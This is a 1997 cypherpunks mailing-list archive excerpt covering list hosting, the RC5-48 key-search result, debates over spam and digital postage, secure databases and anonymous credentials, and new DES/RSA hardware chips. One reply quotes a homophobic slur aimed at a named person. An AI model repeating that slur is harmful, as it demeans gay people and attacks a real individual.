From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 07:56:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Switching to full traffic mode
Message-ID: <199702151556.HAA23682@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I would like to warn and ask subscribers of cypherpunks@algebra.com.

We are going ot get full feel from Lance Cottrell and
cypherpunks-unedited@toad.com.

We will filter messages by Message-ID to get rid of duplicates.

It means that there is no sense (unless you want to confirm my integrity
as the list host) to be subscribed to any of the other lists, as you 
will be getting multiple copies of messages.

If you are afraid of that and use Unix, the following procmail recipe 
gets rid of duplicates:

#
# This recipe removes duplicates!
#
:0 Wh: msgid.lock
| formail -D 32768 msgid.cache

I am somwehat concerned by the behavior of my majordomo which is
very paranoid about incoming messages: it rejects all messages that
it THINKS are attempts to suscribe and unsuscribe. In this rejection, 
it is sometimes too broad. I do not know how to solve this problem.

ATTENTION: if you want to get a feed from me, PLEASE send me a note and
do not simply subscribe your mailing list to cypherpunks@algebra.com. It
is because I want to send you the messages before my majordomo rewrites
headers.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 07:56:09 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Dave Hayes takes over Cypherpunks
Message-ID: <199702151556.HAA23651@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> Gilmore proposes useless projects like S/Wan and misguided people waste
> their time and effort instead of deploying crypto.

What is wrong with S/WAN? I think that it is a great project.

> And we already know that Peter Berger is a faggot because he suppresses
> free speech on Usenet.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 11:11:03 -0800 (PST)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151911.LAA01259@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> Ok. I'll "put up".
> If the cypherpunks will have me, -I'll- run the cypherpunks
> list. Those that know me know that I will *not* censor, moderate, or
> otherwise alter the content (other than the stuff majordomo does with
> "resend") of any messages to the list.

You have my vote.  And any help I can provide, within my limits.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 11:10:59 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151910.LAA01251@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dave Hayes wrote:
> > Ok. I'll "put up".
> > If the cypherpunks will have me, -I'll- run the cypherpunks
> > list. Those that know me know that I will *not* censor, moderate, or
> > otherwise alter the content (other than the stuff majordomo does with
> > "resend") of any messages to the list.

> I think that it is a great idea. If you want to contribute to the
> effort to keep the list, this is great. You could join the network of
> other cypherpunks mailing lists.
> There is a small list for discussing these networking issues,
> cypherpunks-hosts@algebra.com. It is not for crypto-discussions per
> se, but rather for discussing how we proceed with these lists.

If I understood the last several hundred messages correctly, they have
tried to make the point that the cypherpunks mailing list (unedited)
was more ideal than a newsgroup.  If this is what Dave is offering,
I'm surprised if more people don't jump on it.  Then again, they
took their good ol' time jumping onto cypherpunks-unedited.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 15 Feb 1997 11:11:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: 48-bit RC5 code broken [fwd]
Message-ID: <199702151911.LAA01300@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Fri, 14 Feb 1997 8:02:49 PST
From: "Peter G. Neumann" <neumann@csl.sri.com>
Subject: 48-bit RC5 bites the dust

In RISKS-18.81, we noted that Ian Goldberg of U.C. Berkeley had cracked the
40-bit RC5 in 3.5 hours -- the first step in the RSA Data Security challenge
posed on 28 Jan 1997.  The second step was taken on 10 Feb 1997 by Germano
Caronni, a graduate student at the Swiss Federal Institute of Technology.
Caronni (with a lot of help from his friends) has recovered the key for text
encrypted with 48-bit RC5, with the help of 3,500 computers and attaining an
peak rate of 1.5 trillion keys searched per hour, over a period of 312
hours.  A press release from RSA (given some circulation in the media) on
gives some details.  Close to the median expected effort, about 57% of the
key space was exhausted.  The Caronni team is now working on the next
challenge, RC5-56.  It is easy to clone yourself through virtual
replication.  [In this case, the team has a lot of Caronnis!]








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 11:11:38 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: More on digital postage
Message-ID: <199702151911.LAA01322@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:40 AM 2/15/97 -0600, snow wrote:
>Mr. Bell wrote:
>> At 03:31 AM 2/14/97 -0800, John C. Randolph wrote:
>> >Tim may says:
>> >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>> >>violations of the First Amendment. I understand why the herd _wants_ these
>> >>laws, as it reduces the costs involved in replacing fax paper, running to
>> >>the telephone only to find someone trying to sell something, etc., but it
>> >>is quite clearly a prior restraint on speech, however well-intentioned.
>> >I have to disagree here.  The junk fax law is a restraint on unauthorised
>> >use of property, i.e. *my* fax machine, *my* phone, etc. 
>> However, you connect that fax machine to a phone line, when you know full 
>> well that should it be enabled to do so, it will automatically pick up the 
>> phone when it "hears" a ring, and will print out a fax based on information 
>> provided.  It isn't clear why sending a fax is any "wronger" than mailing 
>> junk mail, or making a (voice) phone call to somebody.
>
>	That is a ridiculous argument. The door to my home is connected
>to the street,m and I know full well that that makes it easy for anyone 
>to come wandering in to my home. Is it legal, just because I have my 
>home hooked to the street, for someone to come in and help themselves to 
>a beer out of my fridge?

No, you're taking the issue to ridiculous extremes.    That's why we have 
doors, and locks, etc.  And, for that matter, "No trespassing" signs.  


But having an address, and a walkway, and a doorbell is generally considered 
if not explicit permission, but at least toleration of the idea that 
somebody can walk up and knock on the door, etc.  Having a telephone with a 
number that anyone can dial is going to result in some level of intrusion.  
Having a fax machine is a similar issue, unless technology provides a way to 
block unwanted faxes.

I certainly don't claim that we shouldn't try to do anything about these 
limitations!  Quite the opposite, technology should be employed to protect 
privacy.  But faxes are not fundamentally different than telephones, 
doorbells, and walkways:  They facilitate interaction, even potentially 
undesirable interaction.


>	Nope. Sure I realize that they _can_, but that doesn't make it right,
>and it doesn't make it legal. 

"Legal" is an arbirary concept; the opposite, "illegal," is merely what some 
bunch of brainless legislators get together and disapprove.

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roy M. Silvernail" <roy@sendai.scytale.com>
Date: Sat, 15 Feb 1997 11:26:37 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702151926.LAA02040@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, ichudov@algebra.com writes:

> My opinion on this: I personally feel that this scheme is the way to 
> go for spammers. Obviously, it is possible to build mail readers that 
> would verify some kind of trusted signature on the attached postage, and
> would highlight all such messages. The meaning of signature is "these
> people are not crooks, there really is an encrypted dollar there".

I much prefer the plan where a potential mail correspondant includes an
e-cash dollar directly cashable by me.  If I like the mail (and the
sender), I throw the dollar away and the sender goes on the approved
list.  If not, I keep the dollar, and the sender goes on the twit list.
Paper junk mail costs an advertiser more than $1 per piece, so they'd
still be getting a bargain.  And potentially, some receivers may throw
away the dollar and welcome the spam.

> Clearly, spammers who pay their readers to read their messages (and who
> do get them to read) will have a very high response rate. That may 
> justify adding postage to their letters.

It should also spur development of intelligent agents which can retrieve
this cash without human intervention.  Spammers will doubtless alter
their pages to require more interaction to find the key to the cash.
Then the IA's will be improved.  Then... remember the copy protection
wars?  This isn't necessarily a negative point.

> The advantages are obvious. The disadvantage is a possibility of someone
> stealing the money on the way, if the letters are not encrypted.

Or that the money wasn't there in the first place (absent a trusted
signature system), or the key doesn't exist, or the wrong key is
offered, or the sender put the same e-dollar on all 60000 mails sie
sent and it's already been redeemed.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMwXqzxvikii9febJAQHv7QP9HQ+S3dZ+MCOTfUJYZwQ/l7xDU83RUIZI
IMve5eFvBbSHabXacwM//1dHmWVpMqVpfN7kchXm/N+vsEqpGMGgNkNj7dGZdoWn
NN6cHkDHJywgnlhT62BZ0u6n2lb4wJcKMaGn63bnmHCRSUN9HwUCKFrFXi72s08r
sxju8mXi8N0=
=4Skg
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matthew Ghio <ghio@temp0019.myriad.ml.org>
Date: Sat, 15 Feb 1997 07:56:11 -0800 (PST)
To: alt.cypherpunks@myriad.alias.net
Subject: Re: Cypherpunks afraid of spam?
Message-ID: <199702151556.HAA23655@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


aaron@herringn.com wrote:
> [Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule
> him personally, just his (distressingly common) attitude]
> 
> >Just for the record.  I will not post to USENET given the spamming that
> >seems to go to IDs that appear there.
> 
> [chuckle]
> 
> Just add an anti-spam segment to your email address.
> 
> example:
> 
> jsmith[at]foo.com
> 
> Most people worth talking to have enough of a clue to replace [at] with @.


Actually, I have a completely valid email address in this post (for now).
If it gets spammed I will just delete the DNS record.  (or maybe point
it back at the spammer. :)

And I'm sure we all know how to use remailers...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 15 Feb 1997 07:57:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mirrors and replies-to
Message-ID: <199702151557.HAA23736@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Well, so far, I've got three cypherpunks mailboxes. One for sirius, one for
algebra, and one for toad. It was interesting to me that I got stuff from
the mirrors faster than toad until I remembered that the mirrors are wired
to the unmoderated list at toad, and I'm still subscribed to the moderated
list there.

However, I would like it if the mirror operators would reinstantiate a
feature of the original list for me. The reply-to field on the mirrors is
currently set to cypherpunks@toad.com. On the original list, this was set
to "sender", both to keep people from replying to the list unnecessarily
(hah! :-)) but also to keep mail loops from forming. Mail loops could be a
big problem, especially when you guys put together your neo-netnews
mailring. (a little jyaism, that... :-)).

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 11:32:12 -0800 (PST)
To: snow <jimbell@pacifier.com>
Subject: Re: More on digital postage
Message-ID: <199702151932.LAA02327@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:40 AM -0600 2/15/97, snow wrote:
>Mr. Bell wrote:

>> However, you connect that fax machine to a phone line, when you know full
>> well that should it be enabled to do so, it will automatically pick up the
>> phone when it "hears" a ring, and will print out a fax based on information
>> provided.  It isn't clear why sending a fax is any "wronger" than mailing
>> junk mail, or making a (voice) phone call to somebody.
>
>	That is a ridiculous argument. The door to my home is connected
>to the street,m and I know full well that that makes it easy for anyone
>to come wandering in to my home. Is it legal, just because I have my
>home hooked to the street, for someone to come in and help themselves to
>a beer out of my fridge?

The proper parallel is to _knocking on the door_. Talking about "unwanted
phone calls" or "unwanted faxes" as being equivalent to entering a house
and wandering around is incorrect.

Consider a door with a doorbell or knocker. It is set up (by millenia of
tradition in our society) as a means of contacting the residents and
keeping them from entering.

Similarly, a listed phone number, or a phone number gotten through various
means, is a means of contacting those owning the number. Anyone is free to
call anyone--no permission is needed.

Our society fairly reasonably allows tort relief for, say, having one's
doorbell rung frequently or at odd hours. On the fax issue, similar tort
relief could be obtained if a person or business was truly "under attack."

(Purists, like me, would probably prefer technological solutions even in
these cases. Leave a phone on answering machine mode, only switch on the
fax mode when a fax is expected, etc.)

These tort actions are a far cry from proposals that anyone whose knock on
the door, or phonecall, or e-mail, or fax is subject to criminal
prosecution under proposed new laws.

(I think the courts are already clogged enough, and I have faith that no
court in the land will accept a case where no real harm was done. A friend
of mine got mailbombed with 25,000 e-mail messages in one day, shutting
down his account until the mess could be cleaned up, and it's not even
likely he'll ever get any relief.)

What CompuServe did was quite different, as CompuServe decided that some
e-mail would not be delivered. This is essentially comparable to the Postal
Service deciding that mail from the National Rifle Association is, to them,
"junk," or to the phone company deciding that phone calls from Libya or
Iraq or some other unfavored nation will be fed to a dead number.

Getting the courts and the regulators involved in deciding what speech is
junk and what is not junk is unconstitutional, which was my earlier point.

--Tim May


On the f

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 11:28:21 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151928.LAA02077@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Igor Chudov @ home wrote:
> > > Dave Hayes wrote:
> > > > Ok. I'll "put up".
> > If I understood the last several hundred messages correctly, they have
> > tried to make the point that the cypherpunks mailing list (unedited)
> > was more ideal than a newsgroup.  If this is what Dave is offering,
> > I'm surprised if more people don't jump on it.  Then again, they
> > took their good ol' time jumping onto cypherpunks-unedited.
> 
> I think that the ideas of a distributed list and the idea of
> alt.cypherpunks are both good and these two mediums complement
> each other.

I can certainly accept this, but it would be nice if someone summarizes
these feeds every now and then, as time to check them all out is very
limited.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 14:41:41 -0800 (PST)
To: Peter Swire <swire.1@osu.edu>
Subject: Re: Query on "secure databases"
Message-ID: <199702162241.OAA04967@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi, Peter - here's my previous posting, with an addendum, Cc: cypherpunks
At 04:43 PM 2/11/97 -0500, Peter Swire <swire.1@osu.edu> wrote:
>        Can you point me to anything I can read on "secure databases"?  I
>hadn't hit that term before.  I am curious to what extent they are secure
>due to cryptographic approaches, or to what extent you rely on other
>mechanisms for keeping out unauthorized users.

It's been a long time since I've looked much into it, since I
was getting out of phone-company-defense-contractor mode at the time the
field was developing.  I think the NCSC Rainbow Book that deals
with secure databases is the Purple Book, though it might be the Gray.
Oracle and/or Sybase have done some work trying to do databases
at the B1 or B2 level, but I don't know details.  

I'll talk about secure databases a bit, but for the real world
there's more useful stuff that isn't related to them.

=================== Begin "Secure Database" Section ==============
At the time, the Orange Book (security for standalone computers) was 
well-understood, though there weren't really any systems above B2 level,
and the Red Book was written, but nobody really had a clue how to
implement multi-level machines on a multi-level LAN, though
you could use encrypting Ethernet cards to get single-level machines
of different levels on the same LAN, if they were all administered
by the same group of people (so user-IDs and security levels
worked across the entire system.)  

At the lower security levels, Orange Book techniques mainly involve 
removing bugs and adding accounting features.  At the higher levels, 
the key is to come up with a good mathematical/logical model of
interactions in your computer system, and then design a computer system
that only does the things permitted by the model and prove it does that.
Some of these systems use cryptographic techniques, including some of
the capability-based systems - see Bill Frantz's KeyKOS work, which he's
referred to on Cypherpunks occasionally. 

The objective is to have databases that can be accessed by multiple users
with different sets of security permissions.  In the military vernacular,
this mainly means having UNCLASSIFIED, CONFIDENTIAL, SECRET, and maybe
TOP SECRET data in the database, where not all users are cleared
to the highest security level, and maybe projects X, Y, and Z,
where users of project X may not have a need to know for project Y, etc.

The easy problems are probably solved by now - either you do a good job
of verifying the design and bug-free-ness of your database software
so you can be sure that each request includes, and obeys, security levels,
or you use crypto to encrypt the data items for each security level
(e.g. everybody with a SECRET or PROJECT Z clearance shares a key 
for that data, which isn't really ideal for non-small groups of people,
the database just tries to do a good job, and you only do operations in
the database that make sense when the data is encrypted, though that's
annoyingly restrictive for many applications.)

The sticky problems are aggregation-related.  It may be ok if an uncleared
person knows that military base A has missile types 1, 3, and 5,
and if the uncleared person knows where all your military bases are.
But is it ok if the uncleared person knows about _all_ the missiles
at _all_ the bases, and can tell that nobody's using Type 2 missiles
any more, and that all the Type 4 missiles got moved to New Jersey last week?

=============== End "Secure Database" section =================
=============== Begin "Real-World and Crypto" section =========
For the average person, though, the simple military models aren't 
really useful.  You really care more about groups of people,
though the multi-level stuff is sometimes a good way to keep 
machines from being hacked.  

But the real problem is that computers are very good at correlating
information - 
if two different companies know your Social Security Number,
and they share their data with each other (maybe for a price),
then they can all tie together everything they each know about you.
And there's no way to stop it, except by limiting the information
you give people (which limits the transactions they'll do with you),
or contractually limiting what they can do with it (good luck),
or using multiple identities - and even then, computers are
often good at guessing that the John Doe at 1234 Main Street
is the related to Jane Smith at 1234 Main Street, and maybe 
the foreign car parts Jane bought on her American Express are
for the Porsche registered to John, so there's a junk-mail opportunity.

There's really only one technology that lets you avoid this,
which is crypto and its relatives - though you still have to 
get people you use business with to use it, which is an uphill game.
Some of the fundamental work on this is David Chaum's papers
on Credentials without Identity (or something about like that, from ~1985.)
For instance, you can have a voter registration number that's
cryptographically signed by the voting bureau, but uses blinded
signatures so they can't correlate the known good unique number
with the Peter Swire who walked in and showed a picture ID one day.
A driver's license smartcard could keep a pointer to your driving records,
but wouldn't give your True Name, and would only show a cop
that the person whose picture is on the front is a Licensed Driver,
and maybe could demonstrate that the bearer knows the card's PIN.

One big issue is that the government is pushing banks to demand SSNs,
and requiring employers to demand SSNs (makes them easy Employee IDs),
and pushing medical insurers and providers to use SSNs (makes it
easy to collect Medicare data.)  You can gain a lot of privacy
just by having employers use their own employee-ID numbering system,
so the travel agent subcontracting to Corporate Travel
doesn't need your SSN on every form they fill out.
But suppose the Social Security Administration and IRS issued you a bunch
of separate numbers, that were either related using a cryptographic key,
or just randomly picked and kept in a big database (maybe pointing to
your old SSN), so you could give everybody who needs a Tax ID a different
number, and only you and the IRS could correlate them.
(To some extent, you can do this yourself by creating lots of
companies, but it's a real pain and costs a certain amount of money.)

=============== addendum =====================
Of course, for many transactions, the way to reduce the privacy problems
is to use bearer certificates rather than book-entry approaches -
pay cash, or digicash, rather than credit cards, use on-line
anonymous delivery of bits, or picking up stuff in person,
rather than mailing stuff to a snail address, etc.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Date: Fri, 14 Feb 1997 15:58:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES and RSA crypto hardware from the free world
Message-ID: <199702142358.PAA18151@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I've just got the details on two new crypto chips produced by the Dutch company
Pijnenburg Custom Chips B.V.  These are the PCC 201 bignum coprocessor and the
PCC 101 DES-with-everything processor (the official names are slightly
different :-).  The PCC 101 sells for approximately US$27, the PCC 201 sells
for approximately US$50 (for people who aren't familiar with the market for
these things, these are very good prices, especially for the 201).
 
The PCC 201 is officially a "Large number modular arithmetic coprocessor" which
is designed to perform the operations:
 
  A^x mod N
  AB mod N
  C mod n
 
very quickly for quantities of up to 1024 bits.  Typical procesing times for
1K-bit operands is 40ms, for 512 bits it's 12ms when clocked at 25 MHz.
Unfortunately you can't directly chain them for larger operands, although it's
possible to use two 201's and some software tricks for CRT decrypts to stretch
the operand size to > 1024 bits.
 
The way the 201 works is that you load the fixed components (exponent and
modulus for A^x mod N, modulus only for AB mod N and C mod N) into one of three
sets of on-chip registers, and then use them to perform arbitrary numbers of
operations on data.  This means that for something like a micropayment
application you would load the necessary private key components once and then
generate signatures at the (theoretical) rate of 25 a second.  To date the cost
of this kind of hardware has been such that the most viable solution was to run
racks full of cheap P5 boards booting a bare-bones RSA-processing application
through a network card, but with the PCC 201 you could populate a board with
201's and a few microcontrollers a la a Wiener machine and use these as a
payment transaction processing engine.  They'd also make fairly cool SSL
co-processors for web servers.
 
The PCC 101, officially a "DES encryption device", does DES, 3DES (EDE with 2
or 3 keys), and DESX in ECB, CBC, CFB, OFB, and MAC modes at a maximum rate of
132 Mbits/s (16.5 Mbytes/sec) for single DES, or 1/3 that for 3DES, when
clocked at 33 MHz.  It's possible to load either single or triple-DES encrypted
keys which are then decrypted using onboard key encryption keys (KEKs).  The
chip contains onboard storage for 24 keys, 3 KEKs, 4 IV's, and 2 DESX keys
(pre/post-whitener).  Processing is done in a 3-stage pipeline, so once you
feed in 3 64-bit blocks it churns out a new result every 16 clocks (this also
allows overlapped I/O operation).  You can add an external battery to save the
internal state when power is removed, so you could keep your keys permanently
stored onboard (although given that these keys can be recovered given enough
money and effort I'm not sure if this is a good thing).
 
The PCC 101 is available in 44-pin PLCC/TQFP packages, the PCC 201 is available
in 68-pin PLCC and 80-pin TQFP packages.   The PCC 201 contains a multiplexed
address/data bus and a few control signals (most of the pins are unused), the
PCC 101 contains data and address ports and a few control signals.  They look
fairly easy to interface.  There's an ISA evaluation board available which
contains the PCC 201 and the slightly older PCC 100 (predecessor of the 101)
and some test software.  Note that this is an evaluation board only, Pijnenburg
make the chips but don't sell general encryption cards.
 
A fast PCI card containing these chips and drivers for various common operating
systems and MSDOS is currently being designed by an international cabal.  This
will be a PCI 2.1-compliant card containing a PCC101, an optional PCC201, and
possibly a few other things (we're still arguing about the design).  I'll be
writing DOS and Win16 drivers for it, and someone else will do an NT and
possibly Linux driver (again, it's still at the design stage).  cryptlib
(http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html) will probably end up
having native support for it when it's ready.
 
Pijnenburg don't have a web page yet but are working on it, I'll post the
details here when it becomes available.  Until then you can contact them at
asic@pijnenburg.nl.  The only slight problem is that they're subject to the
Dutch governments export rules (the usual Wassenaar stuff) which means that if
you're not using it for an authentication/integrity-only application or a
financial application, you'll probably need to go through some paperwork to
show that it's for your use only and you won't be passing it on to your friend
Jose from Columbia.  Pijnenburg have a standard Statement of Application which
people can use as to write their own statement for export approval.
 
These chips look *very* promising.  Who needs Clipper, or HP's
Clipper-under-another-name, when you can get triple DES from the free world at
prices like this?
 
Peter.
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Date: Sat, 15 Feb 1997 09:42:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES and RSA crypto hardware from the free world
Message-ID: <199702151742.JAA27772@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I've just got the details on two new crypto chips produced by the Dutch company
Pijnenburg Custom Chips B.V.  These are the PCC 201 bignum coprocessor and the
PCC 101 DES-with-everything processor (the official names are slightly
different :-).  The PCC 101 sells for approximately US$27, the PCC 201 sells
for approximately US$50 (for people who aren't familiar with the market for
these things, these are very good prices, especially for the 201).
 
The PCC 201 is officially a "Large number modular arithmetic coprocessor" which
is designed to perform the operations:
 
  A^x mod N
  AB mod N
  C mod n
 
very quickly for quantities of up to 1024 bits.  Typical procesing times for
1K-bit operands is 40ms, for 512 bits it's 12ms when clocked at 25 MHz.
Unfortunately you can't directly chain them for larger operands, although it's
possible to use two 201's and some software tricks for CRT decrypts to stretch
the operand size to > 1024 bits.
 
The way the 201 works is that you load the fixed components (exponent and
modulus for A^x mod N, modulus only for AB mod N and C mod N) into one of three
sets of on-chip registers, and then use them to perform arbitrary numbers of
operations on data.  This means that for something like a micropayment
application you would load the necessary private key components once and then
generate signatures at the (theoretical) rate of 25 a second.  To date the cost
of this kind of hardware has been such that the most viable solution was to run
racks full of cheap P5 boards booting a bare-bones RSA-processing application
through a network card, but with the PCC 201 you could populate a board with
201's and a few microcontrollers a la a Wiener machine and use these as a
payment transaction processing engine.  They'd also make fairly cool SSL
co-processors for web servers.
 
The PCC 101, officially a "DES encryption device", does DES, 3DES (EDE with 2
or 3 keys), and DESX in ECB, CBC, CFB, OFB, and MAC modes at a maximum rate of
132 Mbits/s (16.5 Mbytes/sec) for single DES, or 1/3 that for 3DES, when
clocked at 33 MHz.  It's possible to load either single or triple-DES encrypted
keys which are then decrypted using onboard key encryption keys (KEKs).  The
chip contains onboard storage for 24 keys, 3 KEKs, 4 IV's, and 2 DESX keys
(pre/post-whitener).  Processing is done in a 3-stage pipeline, so once you
feed in 3 64-bit blocks it churns out a new result every 16 clocks (this also
allows overlapped I/O operation).  You can add an external battery to save the
internal state when power is removed, so you could keep your keys permanently
stored onboard (although given that these keys can be recovered given enough
money and effort I'm not sure if this is a good thing).
 
The PCC 101 is available in 44-pin PLCC/TQFP packages, the PCC 201 is available
in 68-pin PLCC and 80-pin TQFP packages.   The PCC 201 contains a multiplexed
address/data bus and a few control signals (most of the pins are unused), the
PCC 101 contains data and address ports and a few control signals.  They look
fairly easy to interface.  There's an ISA evaluation board available which
contains the PCC 201 and the slightly older PCC 100 (predecessor of the 101)
and some test software.  Note that this is an evaluation board only, Pijnenburg
make the chips but don't sell general encryption cards.
 
A fast PCI card containing these chips and drivers for various common operating
systems and MSDOS is currently being designed by an international cabal.  This
will be a PCI 2.1-compliant card containing a PCC101, an optional PCC201, and
possibly a few other things (we're still arguing about the design).  I'll be
writing DOS and Win16 drivers for it, and someone else will do an NT and
possibly Linux driver (again, it's still at the design stage).  cryptlib
(http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html) will probably end up
having native support for it when it's ready.
 
Pijnenburg don't have a web page yet but are working on it, I'll post the
details here when it becomes available.  Until then you can contact them at
asic@pijnenburg.nl.  The only slight problem is that they're subject to the
Dutch governments export rules (the usual Wassenaar stuff) which means that if
you're not using it for an authentication/integrity-only application or a
financial application, you'll probably need to go through some paperwork to
show that it's for your use only and you won't be passing it on to your friend
Jose from Columbia.  Pijnenburg have a standard Statement of Application which
people can use as to write their own statement for export approval.
 
These chips look *very* promising.  Who needs Clipper, or HP's
Clipper-under-another-name, when you can get triple DES from the free world at
prices like this?
 
Peter.
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 11:28:39 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702151928.LAA02101@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:19 AM -0600 2/15/97, Roy M. Silvernail wrote:

>I much prefer the plan where a potential mail correspondant includes an
>e-cash dollar directly cashable by me.  If I like the mail (and the
>sender), I throw the dollar away and the sender goes on the approved
>list.  If not, I keep the dollar, and the sender goes on the twit list.
>Paper junk mail costs an advertiser more than $1 per piece, so they'd
>still be getting a bargain.  And potentially, some receivers may throw
>away the dollar and welcome the spam.

The basic flaw in all of these schemes is that they are "top-down"
solutions, imposed on the market for invented reasons.

The reason paper mail "spam" (advertisements, solicitations, whatever)
costs whatever it costs (hint: less than a dollar...check the Bulk Rate
prices, and look for the 8-cent and 16-cent stamps on many of the
solicitations) is because this is what the Postal Service charges.

Granted, the USPS is hardly a free market player, and uses force to keep
out competitors, but the general principle is that some semi-market-based
fee is charged, and larger packages will cost more, etc.

The basic flaw with e-mail is that the senders of e-mail are not paying for
carriage.

However, just "making up" a fee--as Roy does here, and as Jim Bell and
others have done before--is not a solution either. Nor does it stand any
chance of being "enforced" (for a large number of reasons I won't get into
here).

I don't expect any solutions anytime soon, but I certainly will not push
for "synthetic" prices which do not solve the underlying problem.

--Tim May




Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Sat, 15 Feb 1997 11:11:26 -0800 (PST)
Subject: No Subject
Message-ID: <199702151911.LAA01304@toad.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Sat, 15 Feb 1997 11:12:47 -0800 (PST)
Subject: No Subject
Message-ID: <199702151912.LAA01382@toad.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
